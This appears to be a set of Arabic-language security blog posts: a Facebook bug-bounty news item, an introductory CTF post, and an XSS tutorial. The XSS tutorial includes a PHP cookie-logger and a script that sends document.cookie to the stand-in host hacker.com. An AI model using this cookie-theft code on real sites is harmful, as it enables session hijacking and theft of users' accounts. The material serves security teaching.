ثغرة تظهر الـ Admins لصفحات الـ Facebook

الثغرة كانت بتمكن المهاجم الوصول لكل الـ Admins المشرفين على الصفحات اللى على الـ Facebook فى بعض الاوقات بتحتاج تعرف الـ Admins بتوع الصفحة لاي سبب بس بما ان الـ Facebook مش سامح بكدة زى الجروبات فأننا نقدر نعرف الـ Admins دى كدة تبقى Security Vulnerability.

قدر الباحث المصرى Mohamed A. Baset اكتشاف الثغرة فى الـ Facebook معلومات حساسة جدا عن الصفحات وانوا يقدر يعرف الـ Admins للصفحات اللى على الـ Facebook ودى حاجة مش مدعومة من الـ Facebook انك تعرف الـ administrator's profiles ودى معلومة مينفعش تبقى معروفة للعامه.

قال محمد عبد الباسط انه اكتشف الثغرة فى اقل من 3 دقائق بدون اى تعب او اختبارات او اي عمليه تسهلك وقت, عبد الباسط قام بوصف هذه الصغرة بانها logical error | خطا منطقى .


اضاف الـ Facebook ميزة جديدة بحيث يمكنهم اسال دعوة للمستخدمين يسالهم اذا كانوا يريدون الاعجاب بصفحتهم, بعد بضع ايام قد يتم ارسال بريد الكترونى يذكرهم بالدعوة.

بعد ما تلقى عبد الباسط بريد الكترونى كدعوة, قام فتح الـ show original فى الـ drop-down menu من خيارات البريد الالكترونى. قام بفتح الـ source code الخاص بالبريد الالكترونى وقد لاحظ ان الصفحة تحتوى على اسماء للـ Admins وبعض المعلومات الاخرى.

قام محمد عبد الباسط بارسال تقرير للـ Facebook Security Team فى الحال عن طريق Bugcrowd, اعترف الـ Facebook بالثغرة وكافأ عبد الباسط 2,500$ على هذا الاكتشاف.

قام الـ Facebook بحل هذه المشكلة ولكن بعض الناس من اللذين اتسلموا البريد الالكترونى يستطيعون ان يعرفوا اسماء الـ Admins للصفحة, يمكنك قراءة التقرير اللذى كتبه محمد عبد الباسط من هنا على مدونته.

أتمنى ان يكون المقال اعجبكم .. 

أخوكم : Mohamed Flex

What is XSS | ما هى الـ XSS

ما هى الـ XSS؟

الـ XSS هى اختصار لـ Cross-Site Script هى عبارة عن مشكلة بتكون فى المواقع ان الـ Clint يقدر يحط فى الموقع اكواد بمعنى يحقن اكواد فى الموقع.

اسباب حدوث الـ XSS Attack؟

الثغرة بتحصل لما بيكون مفيش Filter على اي input يقدر المستحدم يضيف فيه بيانات او يبحث عن حاجة معينه فى الموقع لو مفيش Filter كويس على الـ inputs يقدر المستخدم يحط اكودا خبيثه يضر بيها مستخدمين تنين.

انوا ثغرة الـ XSS؟

1. Reflected XSS : ودى بتبقى عبارة عن ان الثغرة بتتنفذ بمجرد لما تحط الكود ومش بتتسجل فى الصفحة المصابة

2. Stored XSS : النوع دة عبارة عن ان الكود اللى بتستخدمه بيتسجل فى الصفحة المصابه ودى بتبقى اخطر من النوع اللى قبله

كيفية استغلال ثغرة الـ XSS؟

بعد اكتشاف الثغرة بتبدا تفكر ازاى تستغل الثغرة عشان تجيب معلومات عن مستخدمين الموقع,

لو الثغرة من النوع الاول اللى هو Reflected:

مثال لو الثغرة فى خانت البحث فى الموقع زى كدة [http://example.com/?q=[search وهنجرب نحقن فيه كود خبيث زى دة مثلا <(img src=x onerror=alert(1337> الكود دة هيعمل alert بالقيمة دى 1337 وبكدة نقدر نحاول نستغلها اول هكيون عندنا سرفر خاص بينا او استضافة وليكن باسم http://hacker.com وهنعمل كود PHP عشان يتقبل البيانات بتاعت المستخدم اللى هنبعتها عليه والكود هيكون شبه كدة:

<?php
if ( isset($_GET['cookie']) ){
$cookie = $_GET['cookie'];
$file = fopen("data.txt", "a");
fwrite($file, $cookie);
fclose($file);
}
?>

وبكدة الرابط اللى هيروح عليه البيانات هيبقى بالشكل دة [http://hacker.com/?cookie=[UserCookie ازاى هنبعتها؟ هنستغل اننا بنحط اكودا JS فى الموقع الكود هيبقى بالشكل دة:

<script>window.location.href="http://hacker.com/?cookie="+document.cookie;</script>

وبكدة يبقى كود الـ JS جاهز بمجرد ما المستخدم يخش عليه هيبقى كدة تمام معانا الـ Cookies بتاعت المتسخدم.

أتمنى إن الشرح يكون عجبكم .. 

أخوكم : . Mohamed Flex

What is The CTF | ما هو الـ CTF

ايه هي الـ CTF ؟

الـ CTF دى اختصار لحاجة اسمها Capture the flag - امسك العلم دى بتبقى عبارة عن مسابقات بتتعلم فى مجال الـ cyber security وبيكون ليها طرق للحل وافكارمختلفة واستراتيجيات مختلفة .
الاستراتيجية الأساسية للحل انك بتبدا تطبق اللى اتعلمته فى مجال الـ Cyber Security  زي ال Networking , programming .
وعليها لحد ما توصل لحاجة اسمها Flag ، وغالبا بتكون على شكل Text .

فئات التحديات فى الـ CTF؟

1 - Web Security
2 - Digital Forensics3 - Cryptography
4 - Reverse Engineering
5 - Network Security

 مواقع الـ CTF؟

دى مواقع مشهورة فى مجال الـ CTF وفى غيرهم كتير لكن دي الأشهر :
1 - Cyber Talents
2 - Back Door
3 - Pico CTF
4 - Hack The Box
5 - CTF Time

هل فى مسابقات زى دى فى الدول العربية؟

حاليا فى المسابقات فى الدول العربية اشهر شركة للمسابقات دى اسمها Cyber Talents ودة الموقع بتعهم Cyber Talents  .
 بتبدا التصفيات كل سنه  ، بتكون 3 ايام  ولما بتخلص بيبدا ارسال الاميلات للناس اللى اتاهلت للنهائى والمعاد للنائهى.

الصورة دى فيها افضل ادوات اللى بيستخدموها فى الـ CTF:

أتمنى إن الشرح يكون عجبكم .. 

أخوكم : . Mohamed Flex